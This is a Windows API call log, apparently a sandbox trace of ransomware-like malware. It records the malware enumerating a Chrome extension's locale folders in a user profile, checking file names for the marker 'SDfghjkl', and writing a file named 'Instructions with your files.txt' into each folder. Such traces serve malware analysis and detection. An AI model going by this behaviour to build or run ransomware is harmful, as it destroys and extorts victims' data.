[0130.098] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.099] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.099] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.099] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.099] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.099] CloseHandle (hObject=0x134) returned 1
[0130.099] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.100] GetProcessHeap () returned 0x810000
[0130.100] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.100] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
[0130.100] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl") returned 141
[0130.100] GetProcessHeap () returned 0x810000
[0130.100] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.100] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\*") returned 143
[0130.100] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.100] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\.") returned 143
[0130.100] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.100] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\..") returned 144
[0130.100] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.100] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json") returned 155
[0130.100] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.100] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.100] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\Instructions with your files.txt") returned 174
[0130.100] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.110] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.111] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.111] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.112] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.112] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.112] CloseHandle (hObject=0x134) returned 1
[0130.112] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.112] GetProcessHeap () returned 0x810000
[0130.112] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.112] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
[0130.112] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no") returned 141
[0130.112] GetProcessHeap () returned 0x810000
[0130.112] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.112] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\*") returned 143
[0130.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.112] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\.") returned 143
[0130.112] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.112] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\..") returned 144
[0130.113] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x656b8f00, ftLastWriteTime.dwHighDateTime=0x1cccade, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.113] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json") returned 155
[0130.113] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.113] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x656b8f00, ftLastWriteTime.dwHighDateTime=0x1cccade, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.113] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\Instructions with your files.txt") returned 174
[0130.113] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.113] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.114] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.114] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.114] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.114] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.115] CloseHandle (hObject=0x134) returned 1
[0130.115] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.115] GetProcessHeap () returned 0x810000
[0130.115] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.115] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1
[0130.115] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl") returned 141
[0130.115] GetProcessHeap () returned 0x810000
[0130.115] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.115] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\*") returned 143
[0130.115] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.115] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\.") returned 143
[0130.115] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.115] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\..") returned 144
[0130.115] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.115] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json") returned 155
[0130.115] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.115] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.115] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\Instructions with your files.txt") returned 174
[0130.115] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.116] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.117] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.117] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.117] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.117] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.117] CloseHandle (hObject=0x134) returned 1
[0130.117] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.117] GetProcessHeap () returned 0x810000
[0130.117] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.117] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1
[0130.117] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR") returned 144
[0130.117] GetProcessHeap () returned 0x810000
[0130.117] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.117] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\*") returned 146
[0130.117] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.118] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\.") returned 146
